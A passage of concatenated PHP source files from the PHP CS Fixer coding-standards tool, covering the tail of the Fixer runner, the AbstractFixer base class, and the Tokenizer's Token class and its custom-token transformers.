                    continue;
                }

                $newest = $fixer->fix($file, $new);
                if ($newest !== $new) {
                    $appliedFixers[] = $fixer->getName();
                }
                $new = $newest;
            }
        } catch (\ParseError $e) {
            if ($this->eventDispatcher) {
                $this->eventDispatcher->dispatch(
                    FixerFileProcessedEvent::NAME,
                    FixerFileProcessedEvent::create()->setStatus(FixerFileProcessedEvent::STATUS_LINT)
                );
            }

            if ($this->errorsManager) {
                $this->errorsManager->report(ErrorsManager::ERROR_TYPE_LINT, $this->getFileRelativePathname($file), sprintf('Linting error at line %d: "%s".', $e->getLine(), $e->getMessage()));
            }

            return;
        } catch (\Error $e) {
            if ($this->eventDispatcher) {
                $this->eventDispatcher->dispatch(
                    FixerFileProcessedEvent::NAME,
                    FixerFileProcessedEvent::create()->setStatus(FixerFileProcessedEvent::STATUS_EXCEPTION)
                );
            }

            if ($this->errorsManager) {
                $this->errorsManager->report(ErrorsManager::ERROR_TYPE_EXCEPTION, $this->getFileRelativePathname($file), $e->__toString());
            }

            return;
        } catch (\Exception $e) {
            if ($this->eventDispatcher) {
                $this->eventDispatcher->dispatch(
                    FixerFileProcessedEvent::NAME,
                    FixerFileProcessedEvent::create()->setStatus(FixerFileProcessedEvent::STATUS_EXCEPTION)
                );
            }

            if ($this->errorsManager) {
                $this->errorsManager->report(ErrorsManager::ERROR_TYPE_EXCEPTION, $this->getFileRelativePathname($file), $e->__toString());
            }

            return;
        }

        $fixInfo = null;

        if ($new !== $old) {
            if ($this->lintManager) {
                $lintProcess = $this->lintManager->createProcessForSource($new);

                if (!$lintProcess->isSuccessful()) {
                    if ($this->eventDispatcher) {
                        $this->eventDispatcher->dispatch(
                            FixerFileProcessedEvent::NAME,
                            FixerFileProcessedEvent::create()->setStatus(FixerFileProcessedEvent::STATUS_LINT)
                        );
                    }

                    if ($this->errorsManager) {
                        $this->errorsManager->report(ErrorsManager::ERROR_TYPE_LINT, $this->getFileRelativePathname($file), $lintProcess->getOutput());
                    }

                    return;
                }
            }

            if (!$dryRun) {
                file_put_contents($file->getRealpath(), $new);
            }

            $fixInfo = array('appliedFixers' => $appliedFixers);

            if ($diff) {
                $fixInfo['diff'] = $this->stringDiff($old, $new);
            }
        }

        $fileCacheManager->setFile($this->getFileRelativePathname($file), $new);

        if ($this->eventDispatcher) {
            $this->eventDispatcher->dispatch(
                FixerFileProcessedEvent::NAME,
                FixerFileProcessedEvent::create()->setStatus($fixInfo ? FixerFileProcessedEvent::STATUS_FIXED : FixerFileProcessedEvent::STATUS_NO_CHANGES)
            );
        }

        return $fixInfo;
    }

    private function getFileRelativePathname(\SplFileInfo $file)
    {
        if ($file instanceof FinderSplFileInfo) {
            return $file->getRelativePathname();
        }

        return $file->getPathname();
    }

    public static function getLevelAsString(FixerInterface $fixer)
    {
        $level = $fixer->getLevel();

        if (($level & FixerInterface::NONE_LEVEL) === $level) {
            return 'none';
        }

        if (($level & FixerInterface::PSR0_LEVEL) === $level) {
            return 'PSR-0';
        }

        if (($level & FixerInterface::PSR1_LEVEL) === $level) {
            return 'PSR-1';
        }

        if (($level & FixerInterface::PSR2_LEVEL) === $level) {
            return 'PSR-2';
        }

        if (($level & FixerInterface::CONTRIB_LEVEL) === $level) {
            return 'contrib';
        }

        return 'symfony';
    }

    protected function stringDiff($old, $new)
    {
        $diff = $this->diff->diff($old, $new);

        $diff = implode(
            PHP_EOL,
            array_map(
                function ($string) {
                    $string = preg_replace('/^(\+){3}/', '<info>+++</info>', $string);
                    $string = preg_replace('/^(\+){1}/', '<info>+</info>', $string);

                    $string = preg_replace('/^(\-){3}/', '<error>---</error>', $string);
                    $string = preg_replace('/^(\-){1}/', '<error>-</error>', $string);

                    $string = str_repeat(' ', 6).$string;

                    return $string;
                },
                explode(PHP_EOL, $diff)
            )
        );

        return $diff;
    }

    /**
     * @param FixerInterface[] $fixers
     *
     * @return FixerInterface[]
     */
    private function sortFixers(array $fixers)
    {
        usort($fixers, function (FixerInterface $a, FixerInterface $b) {
            return Utils::cmpInt($b->getPriority(), $a->getPriority());
        });

        return $fixers;
    }

    /**
     * @param ConfigInterface $config
     *
     * @return FixerInterface[]
     */
    private function prepareFixers(ConfigInterface $config)
    {
        $fixers = $config->getFixers();

        foreach ($fixers as $fixer) {
            if ($fixer instanceof ConfigAwareInterface) {
                $fixer->setConfig($config);
            }
        }

        return $fixers;
    }

    /**
     * Set EventDispatcher instance.
     *
     * @param EventDispatcher|null $eventDispatcher
     */
    public function setEventDispatcher(EventDispatcher $eventDispatcher = null)
    {
        $this->eventDispatcher = $eventDispatcher;
    }

    /**
     * Set ErrorsManager instance.
     *
     * @param ErrorsManager|null $errorsManager
     */
    public function setErrorsManager(ErrorsManager $errorsManager = null)
    {
        $this->errorsManager = $errorsManager;
    }

    /**
     * Set LintManager instance.
     *
     * @param LintManager|null $lintManager
     */
    public function setLintManager(LintManager $lintManager = null)
    {
        $this->lintManager = $lintManager;
    }

    /**
     * Set Stopwatch instance.
     *
     * @param Stopwatch|null $stopwatch
     */
    public function setStopwatch(Stopwatch $stopwatch = null)
    {
        $this->stopwatch = $stopwatch;
    }
}
php-cs-fixer/Symfony/CS/AbstractFixer.php000066600000002707151456236460014322 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
abstract class AbstractFixer implements FixerInterface
{
    /**
     * {@inheritdoc}
     */
    public function getLevel()
    {
        static $map = array(
            'PSR0' => FixerInterface::PSR0_LEVEL,
            'PSR1' => FixerInterface::PSR1_LEVEL,
            'PSR2' => FixerInterface::PSR2_LEVEL,
            'Symfony' => FixerInterface::SYMFONY_LEVEL,
            'Contrib' => FixerInterface::CONTRIB_LEVEL,
        );

        $level = current(explode('\\', substr(get_called_class(), strlen(__NAMESPACE__.'\\Fixer\\'))));

        if (!isset($map[$level])) {
            throw new \LogicException('Can not determine Fixer level');
        }

        return $map[$level];
    }

    /**
     * {@inheritdoc}
     */
    public function getName()
    {
        $nameParts = explode('\\', get_called_class());
        $name = substr(end($nameParts), 0, -strlen('Fixer'));

        return Utils::camelCaseToUnderscore($name);
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        return 0;
    }

    /**
     * {@inheritdoc}
     */
    public function supports(\SplFileInfo $file)
    {
        return true;
    }
}
php-cs-fixer/Symfony/CS/FinderInterface.php000066600000000556151456236460014611 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 */
interface FinderInterface
{
    public function setDir($dir);
}
php-cs-fixer/Symfony/CS/Tokenizer/TransformerInterface.php000066600000003140151456236460017646 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tokenizer;

/**
 * Interface for Transformer class.
 *
 * Transformer role is to register custom tokens and transform Tokens collection to use them.
 *
 * Custom token is a user defined token type and is used to separate different meaning of original token type.
 * For example T_ARRAY is a token for both creating new array and typehinting a parameter. This two meaning should have two token types.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
interface TransformerInterface
{
    /**
     * Process Tokens collection to transform tokens into custom tokens when needed.
     *
     * @param Tokens $tokens Tokens collection
     */
    public function process(Tokens $tokens);

    /**
     * Register constants for custom tokens created by Transformer.
     */
    public function registerCustomTokens();

    /**
     * Get names of custom tokens created by Transformer.
     *
     * @return array
     */
    public function getCustomTokenNames();

    /**
     * Returns the name of the fixer.
     *
     * The name must be all lowercase and without any spaces.
     *
     * @return string The name of the fixer
     */
    public function getName();

    /**
     * Returns the priority of the Transformer.
     *
     * The default priority is 0 and higher priorities are executed first.
     *
     * @return int
     */
    public function getPriority();
}
php-cs-fixer/Symfony/CS/Tokenizer/Token.php000066600000031622151456236460014611 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tokenizer;

use Symfony\CS\Utils;

/**
 * Representation of single token.
 * As a token prototype you should understand a single element generated by token_get_all.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class Token
{
    /**
     * Content of token prototype.
     *
     * @var string
     */
    private $content;

    /**
     * ID of token prototype, if available.
     *
     * @var int|null
     */
    private $id;

    /**
     * If token prototype is an array.
     *
     * @var bool
     */
    private $isArray;

    /**
     * Line of token prototype occurrence, if available.
     *
     * @var int|null
     */
    private $line;

    /**
     * Constructor.
     *
     * @param string|array $token token prototype
     */
    public function __construct($token)
    {
        if (is_array($token)) {
            $this->isArray = true;
            $this->id = $token[0];
            $this->content = $token[1];
            $this->line = isset($token[2]) ? $token[2] : null;
        } else {
            $this->isArray = false;
            $this->content = $token;
        }
    }

    /**
     * @param string[] $tokenNames
     *
     * @return array<int, int>
     */
    private static function getTokenKindsForNames(array $tokenNames)
    {
        $keywords = array();
        foreach ($tokenNames as $keywordName) {
            if (defined($keywordName)) {
                $keyword = constant($keywordName);
                $keywords[$keyword] = $keyword;
            }
        }

        return $keywords;
    }

    /**
     * Clear token at given index.
     *
     * Clearing means override token by empty string.
     */
    public function clear()
    {
        $this->override('');
    }

    /**
     * Check if token is equals to given one.
     *
     * If tokens are arrays, then only keys defined in parameter token are checked.
     *
     * @param Token|array|string $other         token or it's prototype
     * @param bool               $caseSensitive perform a case sensitive comparison
     *
     * @return bool
     */
    public function equals($other, $caseSensitive = true)
    {
        $otherPrototype = $other instanceof self ? $other->getPrototype() : $other;

        if ($this->isArray() !== is_array($otherPrototype)) {
            return false;
        }

        if (!$this->isArray()) {
            return $this->content === $otherPrototype;
        }

        $selfPrototype = $this->getPrototype();

        foreach ($otherPrototype as $key => $val) {
            // make sure the token has such key
            if (!isset($selfPrototype[$key])) {
                return false;
            }

            if (1 === $key && !$caseSensitive) {
                // case-insensitive comparison only applies to the content (key 1)
                if (0 !== strcasecmp($val, $selfPrototype[1])) {
                    return false;
                }
            } else {
                // regular comparison
                if ($selfPrototype[$key] !== $val) {
                    return false;
                }
            }
        }

        return true;
    }

    /**
     * Check if token is equals to one of given.
     *
     * @param array       $others        array of tokens or token prototypes
     * @param bool|bool[] $caseSensitive global case sensitiveness or an array of booleans, whose keys should match
     *                                   the ones used in $others. If any is missing, the default case-sensitive
     *                                   comparison is used.
     *
     * @return bool
     */
    public function equalsAny(array $others, $caseSensitive = true)
    {
        foreach ($others as $key => $other) {
            $cs = self::isKeyCaseSensitive($caseSensitive, $key);

            if ($this->equals($other, $cs)) {
                return true;
            }
        }

        return false;
    }

    /**
     * A helper method used to find out whether or not a certain input token has to be case-sensitively matched.
     *
     * @param bool|bool[] $caseSensitive global case sensitiveness or an array of booleans, whose keys should match
     *                                   the ones used in $others. If any is missing, the default case-sensitive
     *                                   comparison is used.
     * @param int         $key           the key of the token that has to be looked up
     *
     * @return bool
     */
    public static function isKeyCaseSensitive($caseSensitive, $key)
    {
        if (is_array($caseSensitive)) {
            return isset($caseSensitive[$key]) ? $caseSensitive[$key] : true;
        }

        return $caseSensitive;
    }

    /**
     * Get token prototype.
     *
     * @return string|array token prototype
     */
    public function getPrototype()
    {
        if (!$this->isArray) {
            return $this->content;
        }

        return array(
            $this->id,
            $this->content,
            $this->line,
        );
    }

    /**
     * Get token's content.
     *
     * @return string
     */
    public function getContent()
    {
        return $this->content;
    }

    /**
     * Get token's id.
     *
     * @return int
     */
    public function getId()
    {
        return $this->id;
    }

    /**
     * Get token's line.
     *
     * @return int
     */
    public function getLine()
    {
        return $this->line;
    }

    /**
     * Get token name.
     *
     * @return null|string token name
     */
    public function getName()
    {
        if (!isset($this->id)) {
            return;
        }

        $transformers = Transformers::create();

        if ($transformers->hasCustomToken($this->id)) {
            return $transformers->getCustomToken($this->id);
        }

        return token_name($this->id);
    }

    /**
     * Generate array containing all keywords that exists in PHP version in use.
     *
     * @return array<int, int>
     */
    public static function getKeywords()
    {
        static $keywords = null;

        if (null === $keywords) {
            $keywords = self::getTokenKindsForNames(array('T_ABSTRACT', 'T_ARRAY', 'T_AS', 'T_BREAK', 'T_CALLABLE', 'T_CASE',
                'T_CATCH', 'T_CLASS', 'T_CLONE', 'T_CONST', 'T_CONTINUE', 'T_DECLARE', 'T_DEFAULT', 'T_DO',
                'T_ECHO', 'T_ELSE', 'T_ELSEIF', 'T_EMPTY', 'T_ENDDECLARE', 'T_ENDFOR', 'T_ENDFOREACH',
                'T_ENDIF', 'T_ENDSWITCH', 'T_ENDWHILE', 'T_EVAL', 'T_EXIT', 'T_EXTENDS', 'T_FINAL',
                'T_FINALLY', 'T_FOR', 'T_FOREACH', 'T_FUNCTION', 'T_GLOBAL', 'T_GOTO', 'T_HALT_COMPILER',
                'T_IF', 'T_IMPLEMENTS', 'T_INCLUDE', 'T_INCLUDE_ONCE', 'T_INSTANCEOF', 'T_INSTEADOF',
                'T_INTERFACE', 'T_ISSET', 'T_LIST', 'T_LOGICAL_AND', 'T_LOGICAL_OR', 'T_LOGICAL_XOR',
                'T_NAMESPACE', 'T_NEW', 'T_PRINT', 'T_PRIVATE', 'T_PROTECTED', 'T_PUBLIC', 'T_REQUIRE',
                'T_REQUIRE_ONCE', 'T_RETURN', 'T_STATIC', 'T_SWITCH', 'T_THROW', 'T_TRAIT', 'T_TRY',
                'T_UNSET', 'T_USE', 'T_VAR', 'T_WHILE', 'T_YIELD', 'CT_ARRAY_TYPEHINT', 'CT_CLASS_CONSTANT',
            ));
        }

        return $keywords;
    }

    /**
     * Generate array containing all predefined constants that exists in PHP version in use.
     *
     * @see http://php.net/manual/en/language.constants.predefined.php
     *
     * @return array<int, int>
     */
    public static function getMagicConstants()
    {
        static $magicConstants = null;

        if (null === $magicConstants) {
            $magicConstants = self::getTokenKindsForNames(array('T_CLASS_C', 'T_DIR', 'T_FILE', 'T_FUNC_C', 'T_LINE', 'T_METHOD_C', 'T_NS_C', 'T_TRAIT_C'));
        }

        return $magicConstants;
    }

    /**
     * Check if token prototype is an array.
     *
     * @return bool is array
     */
    public function isArray()
    {
        return $this->isArray;
    }

    /**
     * Check if token is one of type cast tokens.
     *
     * @return bool
     */
    public function isCast()
    {
        static $castTokens = array(T_ARRAY_CAST, T_BOOL_CAST, T_DOUBLE_CAST, T_INT_CAST, T_OBJECT_CAST, T_STRING_CAST, T_UNSET_CAST);

        return $this->isGivenKind($castTokens);
    }

    /**
     * Check if token is one of classy tokens: T_CLASS, T_INTERFACE or T_TRAIT.
     *
     * @return bool
     */
    public function isClassy()
    {
        static $classTokens = null;

        if (null === $classTokens) {
            $classTokens = array(T_CLASS, T_INTERFACE);

            if (defined('T_TRAIT')) {
                $classTokens[] = constant('T_TRAIT');
            }
        }

        return $this->isGivenKind($classTokens);
    }

    /**
     * Check if token is one of comment tokens: T_COMMENT or T_DOC_COMMENT.
     *
     * @return bool
     */
    public function isComment()
    {
        static $commentTokens = array(T_COMMENT, T_DOC_COMMENT);

        return $this->isGivenKind($commentTokens);
    }

    /**
     * Check if token is empty, e.g. because of clearing.
     *
     * @return bool
     */
    public function isEmpty()
    {
        return null === $this->id && ('' === $this->content || null === $this->content);
    }

    /**
     * Check if token is one of given kind.
     *
     * @param int|int[] $possibleKind kind or array of kinds
     *
     * @return bool
     */
    public function isGivenKind($possibleKind)
    {
        return $this->isArray && (is_array($possibleKind) ? in_array($this->id, $possibleKind, true) : $this->id === $possibleKind);
    }

    /**
     * Check if token is a keyword.
     *
     * @return bool
     */
    public function isKeyword()
    {
        $keywords = static::getKeywords();

        return $this->isArray && isset($keywords[$this->id]);
    }

    /**
     * Check if token is a native PHP constant: true, false or null.
     *
     * @return bool
     */
    public function isNativeConstant()
    {
        static $nativeConstantStrings = array('true', 'false', 'null');

        return $this->isArray && in_array(strtolower($this->content), $nativeConstantStrings, true);
    }

    /**
     * Returns if the token is of a Magic constants type.
     *
     * @see http://php.net/manual/en/language.constants.predefined.php
     *
     * @return bool
     */
    public function isMagicConstant()
    {
        $magicConstants = static::getMagicConstants();

        return $this->isArray && isset($magicConstants[$this->id]);
    }

    /**
     * Check if token is one of structure alternative end syntax (T_END...).
     *
     * @return bool
     */
    public function isStructureAlternativeEnd()
    {
        static $tokens = array(T_ENDDECLARE, T_ENDFOR, T_ENDFOREACH, T_ENDIF, T_ENDSWITCH, T_ENDWHILE, T_END_HEREDOC);

        return $this->isGivenKind($tokens);
    }

    /**
     * Check if token is a whitespace.
     *
     * @param array $opts Extra options, $opts['whitespaces'] string
     *                    determining whitespaces chars,
     *                    default is " \t\n\r\0\x0B"
     *
     * @return bool
     */
    public function isWhitespace(array $opts = array())
    {
        if ($this->isArray && !$this->isGivenKind(T_WHITESPACE)) {
            return false;
        }

        $whitespaces = isset($opts['whitespaces']) ? $opts['whitespaces'] : " \t\n\r\0\x0B";

        return '' === trim($this->content, $whitespaces);
    }

    /**
     * Override token.
     *
     * If called on Token inside Tokens collection please use `Tokens::overrideAt` instead.
     *
     * @param string|array $prototype token prototype
     */
    public function override($prototype)
    {
        if (is_array($prototype)) {
            $this->isArray = true;
            $this->id = $prototype[0];
            $this->content = $prototype[1];
            $this->line = isset($prototype[2]) ? $prototype[2] : null;

            return;
        }

        $this->isArray = false;
        $this->id = null;
        $this->content = $prototype;
        $this->line = null;
    }

    /**
     * Set token's content.
     *
     * @param string $content
     */
    public function setContent($content)
    {
        // setting empty content is clearing the token
        if ('' === $content) {
            $this->clear();

            return;
        }

        $this->content = $content;
    }

    public function toArray()
    {
        return array(
            'id' => $this->id,
            'name' => $this->getName(),
            'content' => $this->content,
            'line' => $this->line,
            'isArray' => $this->isArray,
        );
    }

    public function toJson()
    {
        static $options = null;

        if (null === $options) {
            $options = Utils::calculateBitmask(array('JSON_PRETTY_PRINT', 'JSON_NUMERIC_CHECK'));
        }

        return json_encode($this->toArray(), $options);
    }
}
php-cs-fixer/Symfony/CS/Tokenizer/Transformer/CurlyClose.php000066600000002615151456236460020117 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tokenizer\Transformer;

use Symfony\CS\Tokenizer\AbstractTransformer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Transform closing `}` for T_CURLY_OPEN into CT_CURLY_CLOSE.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class CurlyClose extends AbstractTransformer
{
    /**
     * {@inheritdoc}
     */
    public function process(Tokens $tokens)
    {
        foreach ($tokens->findGivenKind(T_CURLY_OPEN) as $index => $token) {
            $level = 1;
            $nestIndex = $index;

            while (0 < $level) {
                ++$nestIndex;

                // we count all kind of {
                if ('{' === $tokens[$nestIndex]->getContent()) {
                    ++$level;
                    continue;
                }

                // we count all kind of }
                if ('}' === $tokens[$nestIndex]->getContent()) {
                    --$level;
                }
            }

            $tokens[$nestIndex]->override(array(CT_CURLY_CLOSE, '}', $tokens[$nestIndex]->getLine()));
        }
    }

    /**
     * {@inheritdoc}
     */
    public function getCustomTokenNames()
    {
        return array('CT_CURLY_CLOSE');
    }
}
php-cs-fixer/Symfony/CS/Tokenizer/Transformer/ClassConstant.php000066600000002432151456236460020607 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tokenizer\Transformer;

use Symfony\CS\Tokenizer\AbstractTransformer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Transform `class` class' constant from T_CLASS into CT_CLASS_CONSTANT.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ClassConstant extends AbstractTransformer
{
    /**
     * {@inheritdoc}
     */
    public function process(Tokens $tokens)
    {
        foreach ($tokens as $index => $token) {
            if (!$token->equalsAny(array(
                array(T_CLASS, 'class'),
                array(T_STRING, 'class'),
            ), false)) {
                continue;
            }

            $prevIndex = $tokens->getPrevMeaningfulToken($index);
            $prevToken = $tokens[$prevIndex];

            if ($prevToken->isGivenKind(T_DOUBLE_COLON)) {
                $token->override(array(CT_CLASS_CONSTANT, $token->getContent(), $token->getLine()));
            }
        }
    }

    /**
     * {@inheritdoc}
     */
    public function getCustomTokenNames()
    {
        return array('CT_CLASS_CONSTANT');
    }
}
php-cs-fixer/Symfony/CS/Tokenizer/Transformer/DynamicVarBrace.php000066600000003317151456236460021025 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tokenizer\Transformer;

use Symfony\CS\Tokenizer\AbstractTransformer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Transform curly braces in `${$foo}` into CT_DYNAMIC_VAR_BRACE_OPEN and CT_DYNAMIC_VAR_BRACE_CLOSE.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class DynamicVarBrace extends AbstractTransformer
{
    /**
     * {@inheritdoc}
     */
    public function process(Tokens $tokens)
    {
        foreach ($tokens as $index => $token) {
            if (!$token->equals('$')) {
                continue;
            }

            $openIndex = $tokens->getNextMeaningfulToken($index);

            if (null === $openIndex) {
                continue;
            }

            $openToken = $tokens[$openIndex];

            if (!$openToken->equals('{')) {
                continue;
            }

            $closeIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_CURLY_BRACE, $openIndex);
            $closeToken = $tokens[$closeIndex];

            $openToken->override(array(CT_DYNAMIC_VAR_BRACE_OPEN, '{', $openToken->getLine()));
            $closeToken->override(array(CT_DYNAMIC_VAR_BRACE_CLOSE, '}', $closeToken->getLine()));
        }
    }

    /**
     * {@inheritdoc}
     */
    public function getCustomTokenNames()
    {
        return array('CT_DYNAMIC_VAR_BRACE_OPEN', 'CT_DYNAMIC_VAR_BRACE_CLOSE');
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run after the CurlyClose
        return -10;
    }
}
php-cs-fixer/Symfony/CS/Tokenizer/Transformer/DollarCloseCurlyBraces.php000066600000002341151456236460022371 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tokenizer\Transformer;

use Symfony\CS\Tokenizer\AbstractTransformer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Transform closing `}` for T_DOLLAR_OPEN_CURLY_BRACES into CT_DOLLAR_CLOSE_CURLY_BRACES.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class DollarCloseCurlyBraces extends AbstractTransformer
{
    /**
     * {@inheritdoc}
     */
    public function process(Tokens $tokens)
    {
        foreach ($tokens->findGivenKind(T_DOLLAR_OPEN_CURLY_BRACES) as $index => $token) {
            $nextIndex = $tokens->getNextTokenOfKind($index, array('}'));
            $tokens[$nextIndex]->override(array(CT_DOLLAR_CLOSE_CURLY_BRACES, '}', $tokens[$nextIndex]->getLine()));
        }
    }

    /**
     * {@inheritdoc}
     */
    public function getCustomTokenNames()
    {
        return array('CT_DOLLAR_CLOSE_CURLY_BRACES');
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run after the CurlyClose
        return -10;
    }
}
php-cs-fixer/Symfony/CS/Tokenizer/Transformer/ArrayTypehint.php000066600000002134151456236460020632 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tokenizer\Transformer;

use Symfony\CS\Tokenizer\AbstractTransformer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Transform `array` typehint from T_ARRAY into T_ARRAY_TYPEHINT.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ArrayTypehint extends AbstractTransformer
{
    /**
     * {@inheritdoc}
     */
    public function process(Tokens $tokens)
    {
        foreach ($tokens->findGivenKind(T_ARRAY) as $index => $token) {
            $nextIndex = $tokens->getNextMeaningfulToken($index);
            $nextToken = $tokens[$nextIndex];

            if (!$nextToken->equals('(')) {
                $token->override(array(CT_ARRAY_TYPEHINT, $token->getContent(), $token->getLine()));
            }
        }
    }

    /**
     * {@inheritdoc}
     */
    public function getCustomTokenNames()
    {
        return array('CT_ARRAY_TYPEHINT');
    }
}
php-cs-fixer/Symfony/CS/Tokenizer/Transformer/DynamicPropBrace.php000066600000003014151456236460021207 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tokenizer\Transformer;

use Symfony\CS\Tokenizer\AbstractTransformer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Transform curly braces in `$foo->{$bar}` into CT_DYNAMIC_PROP_BRACE_OPEN and CT_DYNAMIC_PROP_BRACE_CLOSE.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class DynamicPropBrace extends AbstractTransformer
{
    /**
     * {@inheritdoc}
     */
    public function process(Tokens $tokens)
    {
        foreach ($tokens->findGivenKind(T_OBJECT_OPERATOR) as $index => $token) {
            if (!$tokens[$index + 1]->equals('{')) {
                continue;
            }

            $openIndex = $index + 1;
            $closeIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_CURLY_BRACE, $openIndex);

            $tokens[$openIndex]->override(array(CT_DYNAMIC_PROP_BRACE_OPEN, '{', $tokens[$openIndex]->getLine()));
            $tokens[$closeIndex]->override(array(CT_DYNAMIC_PROP_BRACE_CLOSE, '}', $tokens[$closeIndex]->getLine()));
        }
    }

    /**
     * {@inheritdoc}
     */
    public function getCustomTokenNames()
    {
        return array('CT_DYNAMIC_PROP_BRACE_OPEN', 'CT_DYNAMIC_PROP_BRACE_CLOSE');
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run after the CurlyClose
        return -10;
    }
}
php-cs-fixer/Symfony/CS/Tokenizer/AbstractTransformer.php000066600000002356151456236460017521 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tokenizer;

use Symfony\CS\Utils;

/**
 * Abstract base for Transformer class.
 *
 * It provides unified registerCustomTokens method.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
abstract class AbstractTransformer implements TransformerInterface
{
    /**
     * Last generated value for custom token.
     *
     * @var int
     */
    private static $lastGeneratedCustomTokenValue = 10000;

    /**
     * {@inheritdoc}
     */
    public function getName()
    {
        $nameParts = explode('\\', get_called_class());
        $name = end($nameParts);

        return Utils::camelCaseToUnderscore($name);
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        return 0;
    }

    /**
     * {@inheritdoc}
     */
    public function registerCustomTokens()
    {
        foreach ($this->getCustomTokenNames() as $name) {
            if (!defined($name)) {
                define($name, ++self::$lastGeneratedCustomTokenValue);
            }
        }
    }
}
php-cs-fixer/Symfony/CS/Tokenizer/Transformers.php000066600000010000151456236460016201 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tokenizer;

use Symfony\Component\Finder\Finder;
use Symfony\CS\Utils;

/**
 * Collection of Transformer classes.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class Transformers
{
    /**
     * The registered transformers.
     *
     * @var TransformerInterface[]
     */
    private $items = array();

    /**
     * Array mapping custom token value => custom token name.
     *
     * @var array
     */
    private $customTokens = array();

    /**
     * Constructor. Register built in Transformers.
     */
    private function __construct()
    {
        $this->registerBuiltInTransformers();
    }

    /**
     * Create Transformers instance.
     *
     * @return Transformers
     */
    public static function create()
    {
        static $instance = null;

        if (!$instance) {
            $instance = new self();
        }

        return $instance;
    }

    /**
     * Get name for registered custom token.
     *
     * @param int $value custom token value
     *
     * @return string
     */
    public function getCustomToken($value)
    {
        if (!$this->hasCustomToken($value)) {
            throw new \InvalidArgumentException(sprintf('No custom token was found for: %s', $value));
        }

        return $this->customTokens[$value];
    }

    public function getTransformers()
    {
        $this->sortTransformers();

        return $this->items;
    }

    /**
     * Check if given custom token was added to collection.
     *
     * @param int $value custom token value
     *
     * @return bool
     */
    public function hasCustomToken($value)
    {
        return isset($this->customTokens[$value]);
    }

    /**
     * Register Transformer.
     *
     * @param TransformerInterface $transformer Transformer
     */
    public function registerTransformer(TransformerInterface $transformer)
    {
        $this->items[] = $transformer;

        $transformer->registerCustomTokens();

        foreach ($transformer->getCustomTokenNames() as $name) {
            $this->addCustomToken(constant($name), $name);
        }
    }

    /**
     * Transform given Tokens collection through all Transformer classes.
     *
     * @param Tokens $tokens Tokens collection
     */
    public function transform(Tokens $tokens)
    {
        foreach ($this->getTransformers() as $transformer) {
            $transformer->process($tokens);
